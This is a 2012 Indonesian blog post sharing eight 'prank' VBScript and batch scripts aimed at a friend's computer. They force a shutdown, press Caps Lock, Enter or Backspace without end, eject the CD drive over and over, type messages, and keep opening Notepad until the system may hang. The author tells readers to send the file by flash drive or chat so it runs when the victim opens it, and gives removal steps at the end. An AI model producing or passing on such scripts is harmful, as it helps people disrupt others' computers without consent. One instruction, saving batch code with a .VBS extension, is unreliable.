Jumat, 30 November 2012

Skript untuk Kerjain laptop teman



1. Forced Shutdown

@echo off
msg * I don't like you
shutdown -c "Error! BYE BYE" -s

simpan dengan ekstensi .VBS type nya ALL FILE

efeknya komputer yg terkena langsung mengalami forced shutdown

2. Caps Lock

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

efeknya caps lock pada keyboard akan terus menyala.(dimatiin ttep nyala terus)

3. CD Drive

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

efeknya adalah komputer korban akan pop out cd drive nya alias keluar masuk terus

4. Enter

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

efeknya adalah keyboard korban akan menekan tombol enter terus menerus

5. Pesan Note Pad

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara slow motion

tulisan "Hello, how are you? I am good thanks" bisa diubah sesuai keinginan kita :D

6. Back Space

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

efeknya dalah keyboard korban akan menekan tombol back space secara terus menerus

7. PESAN

nah script ini yang paling saya suka

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D!!"
loop

efeknya adalah komputer korban akan mengetik
"jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" dalam format apapun
tulisan "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" bisa diganti sesuai keiinginan kita

8. NOTEPAD

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

efeknya adalah komputer korban akan menghidupkan perintah notepad secara terus menerus!


cara pake = copast tuh script ke notepad , save dalam file extensi/type vbs . lalu kirim note tadi ke komputer temen , lewat flashdisk lewat IM , chat dll. nanti saat dia buka tuh script , komputer dia bakalan kena nih penyakit buatan kita :D

Cara Normalinya:
>restart tu komputer
>buka ctrl+alt+del trus end all task

Cara Matiin scriptnya adalah sebagai berikut :
1. Klik kanan di bagian kanan bawah jendela monitor,
2. Pilih Task Manager, atau ctrl+alt+del
3. Pilih tab Proces, setelah itu cari nama file wscript.exe, setelah itu klik End Proces, setelah klik lagi End Process :D

sebelumnya sory bgt bwat para master klo script kya ginian dah basi dan gak mutu
postingan ini khusus bwt newbie kaya ane gini yg selalu pngen blajar dan pengen tau.

Tidak ada komentar:

Posting Komentar